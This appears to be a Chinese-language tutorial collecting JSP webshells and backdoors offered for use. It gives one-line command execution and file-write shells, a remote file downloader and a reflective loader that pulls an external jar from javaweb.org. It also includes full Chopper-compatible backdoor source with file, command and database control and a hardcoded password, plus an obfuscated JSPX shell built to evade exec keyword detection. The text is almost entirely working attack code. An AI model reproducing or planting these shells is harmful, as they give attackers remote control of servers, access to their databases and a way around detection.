一:执行系统命令:

无回显执行系统命令:

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<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显,用来反弹个shell很方便。 有回显带密码验证的:

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<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b,0,a));
        }
        out.print("</pre>
");
    }
%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

二、把字符串编码后写入指定文件的:

1:

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<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:

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<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:

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<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:

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<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三:下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)

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<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>

请求:http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

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<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>

请求:http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四:反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个:

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<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>

请求:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 菜刀连接:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar,密码023. 解: 利用反射加载一个外部的jar到当前应用,反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包,所以要求服务器必须能访问到这个jar地址。 下载:Cat.jar Load代码:

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import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
/**
 *
 * @author yz
 */
public class Load {
    public static String load(Map<string,string[]> map){
        try {
            Map<string,string> request = new HashMap<string,string>();
            for (Entry<string, string[]=""> entrySet : map.entrySet()) {
                String key = entrySet.getKey();
                String value = entrySet.getValue()[0];
                request.put(key, value);
            }
            return new Chopper().doPost(request);
        } catch (IOException ex) {
            return ex.toString();
        }
    }
}</string,></string,string></string,string></string,string[]>

Chopper代码:

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import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLClassLoader;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Map;
public class Chopper{
    public static String getPassword() throws IOException {
        return "023";
    }
    String cs = "UTF-8";
    String encoding(String s) throws Exception {
        return new String(s.getBytes("ISO-8859-1"), cs);
    }
    Connection getConnection(String s) throws Exception {
        String[] x = s.trim().split("\r\n");
        try {
            Class.forName(x[0].trim());
        } catch (ClassNotFoundException e) {
            boolean classNotFound = true;
            BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt")));
            String str = "";
            while ((str = br.readLine()) != null) {
                String[] arr = str.split("=");
                if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) {
                    try {
                        URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();
                        Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
                        m.setAccessible(true);
                        m.invoke(ucl, new Object[]{new URL(arr[1])});
                        Class.forName(arr[0].trim());
                        classNotFound = false;
                        break;
                    } catch (ClassNotFoundException ex) {
                        throw ex;
                    }
                }
            }
            if (classNotFound) {
                throw e;
            }
        }
        if (x[1].contains("jdbc:oracle")) {
            return DriverManager.getConnection(x[1].trim() + ":" + x[4],
                    x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
                    x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
        } else {
            Connection c = DriverManager.getConnection(x[1].trim(),
                    x[2].equalsIgnoreCase("[/null]") ? "" : x[2],
                    x[3].equalsIgnoreCase("[/null]") ? "" : x[3]);
            if (x.length > 4) {
                c.setCatalog(x[4]);
            }
            return c;
        }
    }
    void listRoots(ByteArrayOutputStream out) throws Exception {
        File r[] = File.listRoots();
        for (File f : r) {
            out.write((f.getName()).getBytes(cs));
        }
    }
    void dir(String s, ByteArrayOutputStream out) throws Exception {
        File l[] = new File(s).listFiles();
        for (File f : l) {
            String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified()));
            String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : "");
            out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs));
        }
    }
    void deleteFiles(File f) throws Exception {
        if (f.isDirectory()) {
            File x[] = f.listFiles();
            for (File fs : x) {
                deleteFiles(fs);
            }
        }
        f.delete();
    }
    byte[] readFile(String s) throws Exception {
        int n;
        byte[] b = new byte[1024];
        BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s));
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        while ((n = bis.read(b)) != -1) {
            bos.write(b, 0, n);
        }
        bis.close();
        return bos.toByteArray();
    }
    void upload(String s, String d) throws Exception {
        String h = "0123456789ABCDEF";
        File f = new File(s);
        f.createNewFile();
        FileOutputStream os = new FileOutputStream(f);
        for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove(new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = -1; byte[] b = new byte[1024]; while ((i = is.read(b)) != -1) { out.write(b, 0, i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject(1) + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split("\r\n"); ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"});
        while (r.next()) {
            out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));
        }
        r.close();
        c.close();
    }
    void getTableColumn(String s, ByteArrayOutputStream out) throws Exception {
        String[] x = s.trim().split("\r\n");
        Connection c = getConnection(s);
        ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();
        ResultSetMetaData d = r.getMetaData();
        for (int i = 1; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { boolean f = q.contains("--f:"); ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t").getBytes(cs)); } out.write(("\r\n").getBytes(cs)); if (f) { File file = new File(p); if (!q.contains("-to:")) { file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t"); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs)); } } if (bw != null) { bw.newLine(); } out.write(("\r\n").getBytes(cs)); } r.close(); if (bw != null) { bw.close(); } } catch (Exception e) { out.write(("Result\t|\t\r\n").getBytes(cs)); try { m.executeUpdate(q); out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n").getBytes(cs)); } } m.close(); c.close(); } public String doPost(Map<string,string>request) throws IOException {
        cs = request.get("z0") != null ? request.get("z0") + "" : cs;
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        try {
            char z = (char) request.get(getPassword()).getBytes()[0];
            String z1 = encoding(request.get("z1") + "");
            String z2 = encoding(request.get("z2") + "");
            out.write("->|".getBytes(cs));
            String s = new File("").getCanonicalPath();
            byte[] returnTrue = "1".getBytes(cs);
            switch (z) {
                case 'A':
                    out.write((s + "\t").getBytes(cs));
                    if (!s.substring(0, 1).equals("/")) {
                        listRoots(out);
                    }
                    break;
                case 'B':
                    dir(z1, out);
                    break;
                case 'C':
                    String l = "";
                    BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
                    while ((l = br.readLine()) != null) {
                        out.write((l + "\r\n").getBytes(cs));
                    }
                    br.close();
                    break;
                case 'D':
                    BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
                    bw.write(z2);
                    bw.flush();
                    bw.close();
                    out.write(returnTrue);
                    break;
                case 'E':
                    deleteFiles(new File(z1));
                    out.write("1".getBytes(cs));
                    break;
                case 'F':
                    out.write(readFile(z1));
                case 'G':
                    upload(z1, z2);
                    out.write(returnTrue);
                    break;
                case 'H':
                    filesMove(new File(z1), new File(z2));
                    out.write(returnTrue);
                    break;
                case 'I':
                    fileMove(new File(z1), new File(z2));
                    out.write(returnTrue);
                    break;
                case 'J':
                    mkdir(new File(z1));
                    out.write(returnTrue);
                    break;
                case 'K':
                    setLastModified(new File(z1), z2);
                    out.write(returnTrue);
                    break;
                case 'L':
                    downloadRemoteFile(z1, z2);
                    out.write(returnTrue);
                    break;
                case 'M':
                    String[] c = {z1.substring(2), z1.substring(0, 2), z2};
                    Process p = Runtime.getRuntime().exec(c);
                    inputStreamToOutPutStream(p.getInputStream(), out);
                    inputStreamToOutPutStream(p.getErrorStream(), out);
                    break;
                case 'N':
                    getCurrentDB(z1, out);
                    break;
                case 'O':
                    getTableName(z1, out);
                    break;
                case 'P':
                    getTableColumn(z1, out);
                    break;
                case 'Q':
                    executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/");
                    break;
            }
        } catch (Exception e) {
            out.write(("ERROR" + ":// " + e.toString()).getBytes(cs));
        }
        out.write(("|<-").getBytes(cs)); return new String(out.toByteArray()); } }</string,string>

map.txt:

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oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jar
com.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar
com.microsoft.jdbc.sqlserver.SQLServerDriver=http://javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jar
com.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jar
com.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jar
com.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jar
com.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jar
org.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar
com.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar
com.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jar
org.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jar
org.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jar
net.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jar
mongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar

无任何命令执行关键字的cmd.zip

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<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
    <jsp:directive.page contentType="text/html" pageEncoding="UTF-8"/>
    <jsp:scriptlet>
        Class&lt;?&gt; api = String.class.getClass().forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));
        Object obj2 = api.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(api.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{request.getParameter(&quot;str&quot;)});
        java.lang.reflect.Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
        m.setAccessible(true);
        java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter(&quot;\\A&quot;);
        out.write(&quot;&lt;pre&gt;&quot; + (s.hasNext() ? s.next() : &quot;&quot;) + &quot;&lt;/pre&gt;&quot;);
    </jsp:scriptlet>
</jsp:root>

绕过exec关键字很简单,如果是纯代码检测用这个无任何命令执行关键字的命令执行jspx(参数str): cmd.jspx.zip 如果是语言层拦截了exec,那么可以通过反射java.lang.UNIXProcess类实现执行任意的命令。示例代码如下:

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Class clazz = Class.forName("java.lang.ProcessImpl");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
 
Process process = (Process) constructor.newInstance(
        toCString(cmdarray[0]), argBlock, args.length,
        null, envc[0], null, std_fds, false
);

如果不会写,自己参考"UNIXProcess.java"的代码就可以了。

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